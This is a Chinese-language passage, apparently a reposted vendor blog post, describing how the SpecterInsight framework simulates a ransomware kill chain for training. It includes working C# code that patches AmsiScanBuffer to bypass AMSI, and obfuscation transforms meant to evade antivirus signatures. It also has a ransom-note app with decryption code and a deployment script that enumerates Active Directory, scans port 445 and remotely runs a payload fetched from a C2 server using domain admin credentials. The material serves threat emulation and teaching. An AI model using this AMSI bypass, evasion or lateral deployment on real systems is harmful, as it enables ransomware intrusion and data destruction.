第一层是CSharpAmsiBypassHooking变换。该方法将用C#编写的AMSI旁路插入到程序中,并在主方法中插入函数调用来执行旁路。
此绕过的工作方式与之前的绕过非常相似。
右侧的代码演示了该混淆层对基本程序的效果。
原来的
using System;
namespace Example {
public class Program {
public static void Main() {
string message = "Hello world!";
Console.WriteLine(message);
}
}
}
转型(Transformed)
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace Example {
public class Program {
public static void Main() {
Bypass2.Apply();
string message = "Hello world!";
Console.WriteLine(message);
}
}
public class Bypass2 {
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate bool Test(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr Load(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static void Apply() {
IntPtr library = Bypass2.LoadLibrary("kernel32.dll");
IntPtr virtualProtect = Bypass2.GetProcAddress(library, "VirtualProtect");
Test vprot = (Test)Marshal.GetDelegateForFunctionPointer(virtualProtect, typeof(Test));
IntPtr loadLibrary = Bypass2.GetProcAddress(library, "LoadLibraryA");
Load load = (Load)Marshal.GetDelegateForFunctionPointer(loadLibrary, typeof(Load));
IntPtr amsi = load("amsi.dll");
IntPtr amsiScanBuffer = Bypass2.GetProcAddress(amsi, "AmsiScanBuffer");
uint previous;
vprot(amsiScanBuffer, (UIntPtr)5, 0x40, out previous);
byte[] patch = Bypass2.GetPatch();
Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
vprot(amsiScanBuffer, (UIntPtr)5, previous, out previous);
}
private static IntPtr LoadLibrary(string name) {
foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
if (module.ModuleName.Equals(name, StringComparison.OrdinalIgnoreCase)) {
return module.BaseAddress;
}
}
return IntPtr.Zero;
}
private static byte[] GetPatch() {
byte[] original = new byte[Patch.Length];
for (int i = 0; i < original.Length; i++) {
original[i] = (byte)(Patch[i] - Offset);
}
return original;
}
private static readonly byte[] Patch =
{
29,
188,
101,
108,
229,
40
};
private static readonly byte Offset = 101;
}
}
下一层是 CSharpStringVaultTransform,它使用各种嵌入技术来混淆支持的字符串类型。在此示例中,所有字符串引用都被替换为对新类的静态属性的引用。在该新类中,它有一个静态默认构造函数,该构造函数从内部字节数组中解压缩所有字符串,并将这些字符串分配给适当的类属性。
这只是字符串混淆技术的一个示例。还有许多其他技术可以缓解签名问题。
原来的
using System;
namespace Example {
public class Program {
public static void Main() {
string message = "Hello world!";
Console.WriteLine(message);
}
}
}
转型(Transformed)
using System;
using System.Text;
using System.IO;
using System.IO.Compression;
namespace Example {
public class Program {
public static void Main() {
string message = StringVault.STR0;
Console.WriteLine(message);
}
}
public static class StringVault {
public static string STR0 {
get {
return StringVault.Strings[0];
}
}
static StringVault() {
using (MemoryStream ms = new MemoryStream(StringVault.SERIALIZED)) {
using (GZipStream gz = new GZipStream(ms, CompressionMode.Decompress)) {
using (BinaryReader br = new BinaryReader(gz)) {
int count = br.ReadInt32();
StringVault.Strings = new string[count];
for (int i = 0; i < count; i++) {
StringVault.Strings[i] = br.ReadString();
}
}
}
}
}
private static string[] Strings;
private static byte[] SERIALIZED = new byte[] { 31, 139, 8, 0, 0, 0, 0, 0, 0, 10, 99, 100, 96, 96, 224, 241, 72, 205, 201, 201, 87, 40, 207, 47, 202, 73, 81, 4, 0, 255, 92, 163, 180, 17, 0, 0, 0 };
}
}
下一层是 CSharpClassMemberShufflerTransform,它只是对类的成员进行打乱。支持的成员类型包括类变量、静态变量、常量、方法和构造函数。这有助于随机化编译二进制文件的内容。
原来的
using System;
namespace Example {
public class Program {
private const string MESSAGE = "Hello world!";
public static void Main() {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
}
}
转型(Transformed)
using System;
namespace Example {
public class Program {
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
public static void Main() {
Program.Run();
}
private const string MESSAGE = "Hello world!";
}
}
CSharpVariableNameTransform 层将变量名称随机化,以包含类变量、参数和局部变量名称。对目标符号的所有引用都使用新名称进行更新。我们提供了一组预生成的变量名称,不包括 C# 关键字。这次我们没有像使用 PowerShell 版本那样进行任何有趣的研究。我偷懒了,只是要求 ChatGPT 生成大量唯一变量名称。如果混淆器用完了预生成的名称,则后备方案是随机字符生成器。
但是,如果代码只是编译的,为什么要混淆变量名呢?事实证明,.NET 二进制文件存储了大量有关命名空间、类、属性和一些变量名等信息,以供 .NET 反射系统使用。AV 签名可以根据二进制文件中的单个或多个字符串组合创建,这些字符串在同一恶意软件的不同迭代或版本之间是通用的。这种混淆方法可以缓解一种可能的伪影。
原来的
using System;
namespace Example {
public class Program {
private static string MESSAGE = "Hello world!";
public static void Main(string[] args) {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.MESSAGE);
}
}
}
转型(Transformed)
using System;
namespace Example {
public class Program {
private static string lastName= "Hello world!";
public static void Main(string[] username) {
Program.Run();
}
private static void Run() {
Console.WriteLine(Program.lastName);
}
}
}
接下来的几层(CSharpMethodNameTransform、CSharpClassNameTransform 和 CSharpNamespaceNameTransform)的工作方式与 CSharpVariabledNameTransform 类似。现在,我想您已经明白了,所以我没有提供具体示例。当我们将所有这些技术一起应用时,我们会得到一个二进制文件,它只在程序中每个方法的编译字节码中具有相似性。其他所有内容都以某种方式被混淆了。因此,我们有一个可以抵抗 AV 检测的有效载荷。
用户提示
杀伤链的最后一步是通知用户发生了什么,并向用户显示赎金信息。这对于培训场景以推动事件响应至关重要。这是一个简单的 .NET Winforms 应用程序,它通知用户他们是勒索软件的受害者,他们必须将 500 美元的比特币发送到一个不存在的虚构网站,并设置一个倒计时计时器,否则您将永远丢失数据(此后数据并没有真正消失,加密很容易逆转)。
它还包含一个用于解密文件的按钮。无论如何按下该按钮,该功能都会起作用。
解密代码相当简单。只是我们加密过程的逆过程。我们使用相同的递归文件搜索方法查找末尾附加了自定义扩展名的文件。在解密每个文件的过程中,我们会更新 UI 中的进度条。
private void DecryptEventHandler(object sender, DoWorkEventArgs e) {
string path = "C:\";
try {
string[] files = Utility.GetFiles(path, "*.specter");
int count = 0;
foreach (string file in files) {
try {
byte[] plaintext = this.DecryptHelper(file);
string newname = file.Replace(".specter", string.Empty);
File.WriteAllBytes(newname, plaintext);
File.Delete(file);
} catch { }
count++;
BackgroundWorker worker = (BackgroundWorker)sender;
worker.ReportProgress((int)(count / (float)files.Length * 100));
}
} catch { }
}
private byte[] DecryptHelper(string path) {
byte[] key = new byte[32];
byte[] iv = new byte[16];
byte[] contents = File.ReadAllBytes(path);
for (int i = 0; i < key.Length; i++) {
key[i] = contents[i];
}
for (int i = 0; i < iv.Length; i++) {
iv[i] = contents[i + key.Length];
}
byte[] ciphertext = new byte[contents.Length - key.Length - iv.Length];
for (int i = 0; i < ciphertext.Length; i++) {
ciphertext[i] = contents[i + key.Length + iv.Length];
}
//Create the streams used for encryption
using (SymmetricAlgorithm aes = this.GetSymmetricAlgorithm()) {
aes.Key = key;
aes.IV = iv;
using (ICryptoTransform decryptor = aes.CreateDecryptor()) {
using (MemoryStream ms = new MemoryStream(contents)) {
byte[] buffer = new byte[1024];
int count = 0;
using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) {
using (MemoryStream output = new MemoryStream()) {
while ((count = cs.Read(buffer, 0, buffer.Length)) > 0) {
output.Write(buffer, 0, count);
}
//Return the encrypted bytes from the memory stream
return output.ToArray();
}
}
}
}
}
}
部署脚本
最后,部署脚本负责编排杀链。它在环境中运行的 Specter 中运行,并负责:(1) 生成将分发的 PowerShell 命令,(2) 识别目标,以及 (3) 在远程系统上执行 PowerShell 命令有效负载。让我们分解每个步骤。
第一步是加载包含扫描网络和运行远程命令的方法的侦察和横向模块的依赖项。
load recon;
load lateral;
下一步是生成有效载荷。此脚本需要生成要分发的 PowerShell 命令。我们可以使用“Get-Payload”(别名“payload”)来执行此操作。这将生成一个 PowerShell 命令,用于下载并执行勒索软件有效载荷。
混淆和编译新加密器有效负载的过程可能需要几秒钟才能生成,因此我们在部署命令之前触发生成过程,以便服务器的有效负载缓存服务缓存新有效负载,以便在杀伤链在每个主机上执行时快速检索。实际上,我们每次执行杀伤链时只生成一次勒索软件。
#Generate the payload
$payload = payload -Kind 'ps_ransom_command';
#Pre-generate stage 2 and 3
payload -Kind 'ps_ransom_script' | Out-Null;
payload -Kind 'csharp_ransomware' | Out-Null;
接下来,我们需要创建一个目标 IP 地址列表。
如果操作员指定了目标列表,那么我们只需将其转换为 IP 地址。目标可以是主机名、CIDR 范围或 IP 地址。我们使用 Invoke-Resolve cmdlet 将输入解析为 IP 地址。
如果操作员未指定目标集,我们将通过使用 SpecterInsight 计算机 cmdlet 枚举 Active Directory 中的所有系统并使用 SpecterInsight 解析 cmdlet 解析其 IP 地址来生成一组目标。这应该会给我们一个很好的目标列表。当前 Active Directory 实例将用于查询计算机。
最后,脚本需要删除本地系统,这样我们就不会破坏网络中的立足点。我们使用 SpecterInsight 接口 cmdlet 提取与每个接口相关的所有 IP,并将它们添加到字典中。在这里使用 HashSet 更有意义,但我们希望此脚本与 .NET 2.0 兼容。然后我们循环遍历所有 IP 并删除任何本地 IP。
#Build a list of IP addresses to target
if($Targets -eq $null -or $Targets.Length -le 0) {
#Autotarget from Active Directory
$computers = computers | resolve | % { $_.ToString() };
} else {
#Use explicit targetting
$computers = $Targets | resolve | % { $_.ToString() };
}
#Build a list of local IP addressess
$localhost = New-Object 'System.Collections.Generic.Dictionary[string, string]';
$interfaces = interfaces;
foreach($interface in $interfaces) {
foreach($entry in $interface.InterfaceIPs) {
$ip = $entry.IP.ToString();
if(!$localhost.ContainsKey($ip)) {
$localhost.Add($ip, $ip);
}
}
}
#Remove localhost from target list
$computers = $computers | ? { !$localhost.ContainsKey($_.IPAddress); }
有了目标列表,我们现在需要查看哪些目标处于活动状态并正在响应。我们可以使用 SpecterInsight 扫描 cmdlet 对端口 445 进行 TCP 端口扫描,该命令执行多线程 TCP 完整连接扫描。对于每个响应的系统,我们将该 IP 地址添加到最终目标列表中。
#Find systems that are alive via a quick port scan
$scan = scan -Targets ([string[]]$computers) -Ports @(445);
$alive = $scan | ? { $_.'445' -eq 'OPEN' };
$addresses = $alive | % { $_.IPAddress; }
现在,我们可以使用 Invoke-ParallelCommand cmdlet 将有效载荷部署到可到达的目标。此 cmdlet 将使用以下三种不同方法之一远程运行给定命令:WMI、计划任务或服务控制管理器。它将连续尝试每一种方法,直到找到一种可行的方法或用尽所有选项。
$results = Invoke-ParallelCommand -Targets ([string[]]$addresses) -Command $payload -Username $Username -Password $Password;
$results;
过程
这些程序演示了如何在 CIDR /24 网络上使用具有明确凭据的勒索软件模拟脚本。以下步骤假设可以访问在目标环境中运行的 Specter。
第一步是将勒索软件模拟 SpecterScript 加载到命令编辑器中。您可以在 SpecterScript 搜索窗口中搜索 ransom,然后单击“插入”按钮来找到该脚本。这会将脚本添加到命令编辑器并生成显示 UI。
下一步是选择要使用的参数集。在本例中,我们将从非域连接系统部署,因此我们将使用“用户名和密码”参数集。然后,我们输入一组包含 CIDR、IP 地址或主机名的目标。在本例中,我们提供一个小型 /24 子网来部署。
然后我们提供域管理员用户名和密码进行身份验证。
现在我们已经完成了参数配置,我们可以运行脚本了。
脚本完成后,它将输出在初始端口扫描期间找到的每个可到达目标的结果。在本例中,计划任务方法对每个目标都有效。
该过程是多线程的,因此在 CIDR /24 中从开始到结束部署仅需 20 秒。端口扫描非常快,但对远程系统的 API 调用要慢得多。在更拥挤的子网中,部署可能需要更长的时间。
部署过程中发送的数据量相对较小,因为我们只为 PowerShell 命令参数传输了几个字节。每个目标系统都会从 C2 服务器下载大约 100KiB 的勒索软件负载。
登录受害者机器后,就会显示赎金信息。
未来工作
此新功能提供了勒索软件的基本元素;但是,它并未实现其他常见的勒索软件功能。为了改进我们的威胁模拟,我们希望在未来的更新中实现以下功能:
-
利用互斥锁确保只有一个加密器实例
-
清空回收站以清除旧版本
-
删除交换空间
-
通过删除文件锁来终止进程以启用加密
-
删除卷影副本
-
删除备份
-
识别直接连接存储并添加到加密列表
-
识别可访问的文件共享
概括
在这篇文章中,我们展示了如何利用 SpecterInsight 在训练环境中模拟勒索软件活动。在介绍过程中,我们分解了每个组件,并详细描述了每个步骤在代码中的工作方式,以便让您更好地了解攻击者如何构建、混淆和部署勒索软件。
【仅用于教学目的】为了改进我们的威胁模拟
原文始发于微信公众号(Ots安全):如何模拟勒索软件【仅用于教学目的】为了改进我们的威胁模拟
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论